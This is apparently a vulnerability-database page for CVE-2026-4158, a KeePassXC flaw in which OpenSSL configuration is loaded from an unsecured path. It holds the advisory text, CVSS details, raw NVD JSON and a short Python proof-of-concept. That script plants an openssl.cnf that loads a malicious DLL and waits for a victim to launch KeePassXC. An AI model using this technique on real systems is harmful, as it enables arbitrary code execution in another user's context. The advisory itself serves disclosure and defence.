Security Vulnerability Report
中文
CVE-2026-4158 CVSS 7.3 HIGH

CVE-2026-4158

Published: 2026-04-11 01:16:18
Last Modified: 2026-04-13 15:01:44

Description

KeePassXC OpenSSL Configuration Uncontrolled Search Path Element Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of KeePassXC. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the configuration of OpenSSL. The product loads configuration from an unsecured location. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of KeePassXC when run by a target user on the system. Was ZDI-CAN-29156.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

KeePassXC (具体受影响版本请参考官方安全通告 GHSA-4gr2-cr97-q9fx)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept for CVE-2026-4158 # This demonstrates how a malicious configuration could be created. # An attacker would place this file in an unsecured path searched by KeePassXC. import os # Malicious OpenSSL configuration content # This attempts to load a malicious DLL or execute commands malicious_config = """ openssl_conf = openssl_init [openssl_init] engines = engine_section [engine_section] payload = payload_section [payload_section] engine_id = payload dynamic_path = C:\\Temp\\evil_payload.dll init = 0 """ # Simulate planting the file path_to_drop = "C:\\InsecurePath\\openssl.cnf" with open(path_to_drop, "w") as f: f.write(malicious_config) print(f"[+] Malicious configuration dropped at {path_to_drop}") print("[+] Wait for a privileged user to launch KeePassXC...")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4158", "sourceIdentifier": "[email protected]", "published": "2026-04-11T01:16:17.620", "lastModified": "2026-04-13T15:01:43.663", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "KeePassXC OpenSSL Configuration Uncontrolled Search Path Element Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of KeePassXC. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the configuration of OpenSSL. The product loads configuration from an unsecured location. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of KeePassXC when run by a target user on the system. Was ZDI-CAN-29156."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://github.com/keepassxreboot/keepassxc/security/advisories/GHSA-4gr2-cr97-q9fx", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-215/", "source": "[email protected]"}]}}